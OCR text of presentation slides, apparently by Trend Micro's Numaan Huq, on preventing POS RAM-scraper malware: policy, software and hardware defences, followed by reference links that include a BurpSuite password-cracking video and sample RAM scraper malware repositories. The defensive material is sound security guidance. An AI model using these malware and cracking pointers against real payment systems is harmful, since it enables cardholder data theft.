All proposed solutions cost time or money
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https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf

Prevention: Top Impactful POS Security Ideas

e Hardware: Restrict physical POS device access
e Software: Encrypt POS apps->POS data comms
e Policy: Delete stored cardholder data
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Prevention: Policy-Based

Enforce strict policies regarding physical PoS system
repairs and upgrades.

Routinely delete stored cardholder data.

Restrict access to the Internet on PoS systems.
Implement POS logs/audit trails.
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Prevention: Impactful 1deas

Set up PoS systems to automatically reimage every 24h.
Restrict Internet access on PoS systems.

Disable remote access if not required.

Whitelisting: only allow approved apps to run on POS devices.
Communication in and out of POS environments: Restrict to
minimum required.

Encrypt comms between POS applications ->POS data.

Change default passwords, configurations, and encryption keys.
Use strong passwords.
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Prevention: Impactful 1deas

Deploy the latest version of POS OSs ; regularly apply POS
patches.

Eliminate unnecessary POS ports, accounts, services, scripts,
drivers, features, subsystems, file systems, web servers,
protocols.

Regularly apply updates to installed POS software.

Identify when POS system components change.

Install and regularly update POS anti-malware solutions to
protect against POS malware and malicious URLSs.
Vulnerability scanner: scan systems, apps, web apps.
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Prevention: Hardware-based

Multitier hardware firewalls: protect POS networks.
Breach detection systems (BDSs): detect POS-targeted
attacks.

Intrusion detection/ prevention systems (IDPSs): scan
inbound/outbound POS traffic.

2FA for remote POS network access by employees,
administrators, third parties.

POS point-to-point encryption.
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References/Resources

BurpSuite- password crack
https://www.youtube.com/watch?v=SCHEBItZkdo

Sample RAM Scraper malware:

https://github.com/warewolf/fireeye/blob/master/Alert_Details_example.com_20131025_181223.xml
https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper

POS Malware
https://community.softwaregrp.com/t5/Security-Research/Alina-POS-Malware/ba-p/293637#.WOpDtrOYphG

Numaan Huq, Trend Micro
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